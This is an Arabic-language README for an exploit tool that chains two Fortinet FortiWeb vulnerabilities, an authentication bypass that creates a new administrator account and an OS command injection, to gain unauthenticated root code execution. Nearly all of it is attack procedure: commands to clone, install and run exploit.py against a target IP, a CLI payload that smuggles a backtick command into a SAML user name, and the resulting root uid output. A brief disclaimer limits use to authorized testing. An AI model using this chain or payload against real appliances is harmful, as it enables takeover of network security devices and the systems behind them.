
استغلال تنفيذ التعليمات البرمجية عن بُعد (RCE) في FortiWeb عبر سلسلة CVE-2025-64446 + CVE-2025-58034
يربط هذا السكريبت بين ثغرتين حرجتين في Fortinet FortiWeb لتحقيق تنفيذ تعليمات برمجية عن بُعد دون مصادقة بصلاحيات الجذر:
CVE-2025-64446 – تجاوز المصادقة عبر اجتياز المسار النسبي (Relative Path Traversal)
تتيح لمهاجم غير مصادق تجاوز المصادقة وإنشاء حساب إداري جديد.
CVE-2025-58034 – حقن أوامر نظام التشغيل بعد المصادقة
يمكن لمهاجم مصادق (باستخدام الحساب الذي تم إنشاؤه في الخطوة 1) تنفيذ أوامر نظام تشغيل تعسفية بصلاحيات الجذر عبر طلبات HTTP مصممة خصيصًا.
من خلال الجمع بين هاتين الثغرتين، يمكن للمهاجم الانتقال من انعدام الوصول التام إلى اختراق كامل للنظام دون أي بيانات اعتماد مسبقة.
التأثير النهائي: تنفيذ تعليمات برمجية عن بُعد دون مصادقة (مكافئ لصدفة الجذر)
سلسلة الهجوم المجمعة:
استنساخ المستودع:
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
cd CVE-2025-64446_CVE-2025-58034
تثبيت التبعيات:
pip install -r requirements.txt
تشغيل الاستغلال الكامل (إنشاء مسؤول + تنفيذ أمر):
python exploit.py <target_ip> [-u <username>] [-p <password>]
<target_ip>: عنوان IP أو اسم المضيف لجهاز FortiWeb المعرّض للثغرة. هذه وسيطة إلزامية.-u <username> (اختياري): تحديد اسم مستخدم مخصص للحساب الإداري المُنشأ. إذا لم يتم توفيره، سيتم استخدام UUID.-p <password> (اختياري): تحديد كلمة مرور مخصصة للحساب الإداري المُنشأ. إذا لم يتم توفيرها، سيتم استخدام اسم المستخدم ككلمة مرور.مثال:
python exploit.py 192.168.1.100 -u admin123 -p password456
سيحاول هذا إنشاء حساب إداري باسم المستخدم "admin123" وكلمة المرور "password456" على الجهاز الهدف عند 192.168.1.100.
إذا لم يتم تحديد اسم مستخدم وكلمة مرور:
python exploit.py 192.168.1.100


بعد تسجيل الدخول بنجاح باستخدام الحساب الإداري المُنشأ حديثًا، يمكن للمهاجم استغلال ثغرة حقن الأوامر بعد المصادقة عبر طلبات مصممة خصيصًا أو مباشرة عبر واجهة سطر أوامر FortiWeb (CLI).
من بين طرق الاستغلال الموثوقة استخدام أمر CLI التالي (يُنفَّذ من واجهة سطر أوامر FortiWeb بعد المصادقة):
config user saml-user
edit "`<YOUR COMMAND>`"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end

بعد التنفيذ:
uid=0(root) gid=0(root) يؤكد تنفيذ أوامر بصلاحيات الجذر عن بُعد)إخلاء مسؤولية: يتم توفير هذه الأداة لأغراض اختبار الأمان المصرح به والتعليم فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها يعد غير قانوني.
ستقوم الأداة بتوليد UUID عشوائي لاسم المستخدم واستخدامه ككلمة مرور.